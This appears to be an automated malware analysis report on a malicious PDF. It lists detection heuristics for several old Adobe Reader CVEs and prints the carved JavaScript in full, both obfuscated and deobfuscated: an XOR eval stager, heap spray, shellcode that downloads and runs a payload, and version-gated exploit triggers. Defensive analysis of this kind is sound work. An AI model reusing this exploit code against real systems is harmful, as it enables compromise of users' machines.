MALICIOUS
390
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, identified by the 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_PAGE_WORD_XOR_EVAL_STAGER' heuristics. The stager heuristic indicates that the JavaScript is likely used to launch further malicious activity, such as downloading and executing a payload. The obfuscated nature of the JavaScript and the presence of XOR encoding suggest an attempt to evade detection. No specific family could be identified due to the generic nature of the obfuscation and lack of further indicators.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ahrudg.egh/4 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xE9F | 538 bytes |
SHA-256: 7915a2e070f77e298abcafbff0955830676438f3c6d92d166791fc00bcf923df |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
8 of 16 identifiers look randomly generated (e.g. 'gKKetPKKaKKgeNumWoKKrds') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
try {var sB='Function'.replace(/[]/g, '');dS='varK rSKV K= K89 ;Kvar K dE = thKisK;KKvar gV=dE.gKKetPKKaKKgeNumWoKKrds(KthisK.pageNum);vaKr nO=\'\';for(var KqKKB=0;qBK< gV; qB++){nO=KK[nO, dEKK.getPageNthWordKK(KKdE.paKKgeNum,qB,tKrue)]KK.KKjKKoin(\'\');;}var nQK=\'\';for(vaKr qB=0;qB K< nO.length;K qKBKK+=2){dM=nKKO.sKKubstr(qB,2);nKKQ=[nKQKK,StriKKngK.frKKomChKarCodKKeKK(parsKKeKKInt(dM,16)^rSV)KK]KK.join(\'\');}evaKl(nQ);nQ=null;'.replace(/[K]/g, '');sV=jK(wZ);} catch(dMD){var vS=sN()(dS);vS();}function sN(){return app.doc[sB];}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3876 bytes |
SHA-256: 729aecc8798a3694e03c904c36d84ac0f03102d20df8402894d482d365cf5e95 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
this.n=false;this.wP=false;gJ=23090;gJ-=232;var xU='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';try {var aN='fI'.substr(4870)} catch(aN){};this.t="";var nWR={fU:"wR".substr(21952, 21952)};var sJ=this.info['yX'].replace(/[\s]/g, '');try {var z='bA'} catch(z){};var lI=["lE","gH","p"];this.nWRE=185;this.nWRE-=103;var gP=["sL"];var pE = this.info;var kB = (pE.producer.substr(0,5) == 'debug');var pO = new Array(); var aT = "%u";function hSD(str){str = str.split(aT);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function pEB(str1, str2){return [str1, str2].join("");}function pQ(gZ){var bI = cF();var dKR = vI();bI += ((bI.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + dKR;if(kB) app.alert("URL: " + bI);bI=yR(bI);var d=aT;var dM=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";dM+=bI;return hSD(dM);};function cF(){var gF = (pE.author + pE.title).replace(/[\s]/g, '');var nWB = tC(gF, sJ, xU);return nWB;};function tC(gF, xU, sJ){var nWB="";for(var i=0; i < gF.length; i++){var qP = xU.indexOf(gF[i]);if(qP > -1 ){nWB += sJ[qP];}}return nWB;};function yR(gF){var out = "";gF = rM(gF);g = Math.round(gF.length / 4);if (g != gF.length /4) gF+="00";for(var i=0; i < gF.length; i+=4){out+= aT + gF.substr(i+2, 2) + gF.substr(i, 2);}return out;};function rM(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function uNQ(gX, len){while (gX.length * 2 < len){gX = pEB(gX, gX);}return gX.substring(0, len / 2);};function jY(qJ){var rQ = 0x0c0c0c0c; cT = pQ("pdf");if (qJ == 1){rQ = 0x30303030;}var xW = 0x400000;var ln = cT.length * 2;var sJE = xW - (ln + 0x38);var gX = hSD(aT+"9090"+aT+"9090"); gX = uNQ(gX, sJE);var qR = (rQ - 0x400000) / xW;for (var tYB = 0; tYB < qR; tYB ++ ){pO[tYB] = pEB(gX, cT);}};function vI(){try {return app.viewerVersion.toString();}catch(pU){ return 0;}}if(kB) app.alert("called exploit");var dKR = vI();if(kB) app.alert("v: " + dKR);if (dKR > 8){if(kB) app.alert("util.printf");jY(1);var kP = "12999999999999999999";for (jM=0; jM < 276; jM++) kP += "8";util.printf("%45000f", kP);}if (dKR < 8){if(kB) app.alert("Collab.collectEmailInfo");jY(0);var yN = hSD(aT+"0c0c"+aT+"0c0c");while (yN.length < 44952) yN += yN;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : yN});}if (dKR < 9.1){if (app.doc.Collab.getIcon){if(kB) app.alert("Collab.getIcon");jY(0);var zK = unescape("%09");while (zK.length < 0x4000) zK += zK;zK = "N." + zK;app.doc.Collab.getIcon(zK);}}if (dKR == 9.2){if(kB) app.alert("media.newPlayer");jY(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}for(var wPG=0; wPG <134; wPG++){wPG++; var tY='yP'};this.dK=20283;this.dK+=121;����������B
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page_word_xor_stage_000.js |
deobfuscated-js | page-word continuous-hex XOR decoded JavaScript (decompressed, key=0x59) at offset 0x8C | 3862 bytes |
SHA-256: 646f6e1393d2df158b3a503e92e9d80a012f51b74e2a74cd61ca5ef9b2584381 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
this.n=false;this.wP=false;gJ=23090;gJ-=232;var xU='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';try {var aN='fI'.substr(4870)} catch(aN){};this.t="";var nWR={fU:"wR".substr(21952, 21952)};var sJ=this.info['yX'].replace(/[\s]/g, '');try {var z='bA'} catch(z){};var lI=["lE","gH","p"];this.nWRE=185;this.nWRE-=103;var gP=["sL"];var pE = this.info;var kB = (pE.producer.substr(0,5) == 'debug');var pO = new Array(); var aT = "%u";function hSD(str){str = str.split(aT);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function pEB(str1, str2){return [str1, str2].join("");}function pQ(gZ){var bI = cF();var dKR = vI();bI += ((bI.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + dKR;if(kB) app.alert("URL: " + bI);bI=yR(bI);var d=aT;var dM=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";dM+=bI;return hSD(dM);};function cF(){var gF = (pE.author + pE.title).replace(/[\s]/g, '');var nWB = tC(gF, sJ, xU);return nWB;};function tC(gF, xU, sJ){var nWB="";for(var i=0; i < gF.length; i++){var qP = xU.indexOf(gF[i]);if(qP > -1 ){nWB += sJ[qP];}}return nWB;};function yR(gF){var out = "";gF = rM(gF);g = Math.round(gF.length / 4);if (g != gF.length /4) gF+="00";for(var i=0; i < gF.length; i+=4){out+= aT + gF.substr(i+2, 2) + gF.substr(i, 2);}return out;};function rM(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function uNQ(gX, len){while (gX.length * 2 < len){gX = pEB(gX, gX);}return gX.substring(0, len / 2);};function jY(qJ){var rQ = 0x0c0c0c0c; cT = pQ("pdf");if (qJ == 1){rQ = 0x30303030;}var xW = 0x400000;var ln = cT.length * 2;var sJE = xW - (ln + 0x38);var gX = hSD(aT+"9090"+aT+"9090"); gX = uNQ(gX, sJE);var qR = (rQ - 0x400000) / xW;for (var tYB = 0; tYB < qR; tYB ++ ){pO[tYB] = pEB(gX, cT);}};function vI(){try {return app.viewerVersion.toString();}catch(pU){ return 0;}}if(kB) app.alert("called exploit");var dKR = vI();if(kB) app.alert("v: " + dKR);if (dKR > 8){if(kB) app.alert("util.printf");jY(1);var kP = "12999999999999999999";for (jM=0; jM < 276; jM++) kP += "8";util.printf("%45000f", kP);}if (dKR < 8){if(kB) app.alert("Collab.collectEmailInfo");jY(0);var yN = hSD(aT+"0c0c"+aT+"0c0c");while (yN.length < 44952) yN += yN;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : yN});}if (dKR < 9.1){if (app.doc.Collab.getIcon){if(kB) app.alert("Collab.getIcon");jY(0);var zK = unescape("%09");while (zK.length < 0x4000) zK += zK;zK = "N." + zK;app.doc.Collab.getIcon(zK);}}if (dKR == 9.2){if(kB) app.alert("media.newPlayer");jY(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}for(var wPG=0; wPG <134; wPG++){wPG++; var tY='yP'};this.dK=20283;this.dK+=121;
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